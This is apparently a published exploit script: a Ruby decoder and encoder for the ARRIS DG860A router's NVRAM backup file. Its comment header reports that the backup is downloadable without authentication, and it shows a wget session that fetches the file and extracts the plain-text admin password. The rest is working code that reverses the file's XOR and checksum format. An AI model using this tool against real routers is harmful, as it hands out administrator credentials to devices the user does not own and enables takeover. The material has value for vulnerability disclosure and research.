ARRIS DG860A NVRAM Backup Compressor / Decompressor

`#! /usr/bin/env ruby  
# ARRIS DG860A NVRAM Backup 'Compressor/Decompressor', it really does xor?   
# Gleaned from sc_mix executable in firmware dump.  
#   
# Backup file is world readable without authentication and contains password  
# information in plain text.  
#  
# box:arris-dev cosmo$ wget http://192.168.0.1/router.data  
# --2013-10-17 18:21:28-- http://192.168.0.1/router.data  
# Connecting to 192.168.0.1:80... connected.  
# HTTP request sent, awaiting response... 200 OK  
# Length: 3518 (3.4K) [application/octet-stream]  
# Saving to: ‘router.data’  
#   
# 100%[=============================================================================================================>] 3,518 --.-K/s in 0s   
#   
# 2013-10-17 18:21:28 (108 MB/s) - ‘router.data’ saved [3518/3518]  
#   
# box:arris-dev cosmo$ tar vxf router.data   
# x backup/  
# x backup/sc_nvram.usr.sc  
# x backup/sc_nvram.sc  
# box:arris-dev cosmo$ sudo ./sc_mix.rb -u -s backup/sc_nvram.usr.sc -d sc_nvram_dump  
# Password:  
# box:arris-dev cosmo$ cat sc_nvram_dump | tr "\000\000" "\000" | tr "\000" "\n" | grep sysAdminPassword  
# sysAdminPassword[0]=test123  
# box:arris-dev cosmo$   
#   
#   
#   
  
require 'optparse'  
require 'highline/import'  
require 'zlib'  
  
def Compress(infile, outfile)  
instream = nil  
outstream = nil  
size = 0  
calculatedcrc = 0  
data=''  
size = File.size?(infile)  
instream = File.open(infile,'r')  
data = instream.read()  
data = data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*')  
instream.close() if !instream.nil?  
outstream = File.open(outfile,'w')  
outstream.write("\x00NOF")  
outstream.write([size].pack('L>'))  
calculatedcrc = Zlib::crc32(data)  
outstream.write([calculatedcrc].pack('L>'))  
outstream.write([size].pack('L>'))  
outstream.write("\x00\x00\x00\x00" * 6)  
outstream.write(data)  
outstream.close() if !outstream.nil?  
end  
  
def Decompress(infile, outfile)  
instream = nil  
outstream = nil  
size = 0  
embeddedcrc = 0  
calculatedcrc = 0  
data=''  
if !(File::size?(infile) >= 0x28)  
puts "[ERROR]: Source file size is insufficient(Smaller then 0x28 bytes)"  
exit  
end  
instream = File::open(infile,'r')  
if instream.read(4) != "\x00NOF"  
instream.close() if !instream.nil?  
puts "[ERROR]: Source file contains invalid magic(\\x00NOF)"  
exit  
end  
size = instream.read(4).unpack("L>")[0]  
embeddedcrc = instream.read(4).unpack("L>")[0]  
if !(File.size?(infile) >= (0x28+size))  
puts "[ERROR]: Source file size if insufficient(Smaller then 0x" + (0x28+minsize).to_s(16) + ")"  
instream.close() if !instream.nil?  
end  
instream.seek(0x28,IO::SEEK_SET)  
data = instream.read(size)  
calculatedcrc = Zlib::crc32(data)  
if embeddedcrc != calculatedcrc  
puts "[ERROR]: Checksum mismatch"  
instream.close() if !instream.nil?  
exit  
end  
outstream = File::open(outfile,'w')  
outstream.write(data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*'))  
instream.close() if !instream.nil?  
outstream.close() if !outstream.nil?  
end  
  
#begin  
if __FILE__ == $0  
options = {}  
opt_parser = OptionParser.new do |opts|  
opts.banner = "Usage: sc_mix.rb -s <Src_PATH> -d <Dest_PATH>"  
opts.separator "Usage:"  
opts.on('-s', '--source Src_PATH', 'Source File') { |v| options[:source_file] = v }  
opts.on('-d', '--destination Dest_PATH', 'Destination File') { |v| options[:destination_file] = v }  
opts.on('-u', 'Uncompress') { options[:uncompress] = true }  
opts.on_tail("-h", "Show this message") do  
puts opts  
exit  
end  
end  
opt_parser.parse!  
if options[:source_file].nil? or options[:destination_file].nil?  
puts opt_parser  
exit  
end  
if !File::exists?(options[:source_file]) or !File::readable?(options[:source_file])  
puts "[ERROR]: File does not exist or there are insufficient privileges(sudo?)"  
exit  
end  
if File::exists?(options[:destination_file])  
if !agree("[ERROR]: File exists attempt to overwrite[yes/no]? ")  
exit  
end  
if !File::writable?(options[:destination_file])  
puts "[ERROR]: File is not writeable is there insufficient privileges(sudo?)"  
exit  
end  
end  
if !options[:uncompress]  
puts "[WARNING]: Compression is currently beta"  
Compress(options[:source_file], options[:destination_file])  
else  
Decompress(options[:source_file], options[:destination_file])  
end  
end  
`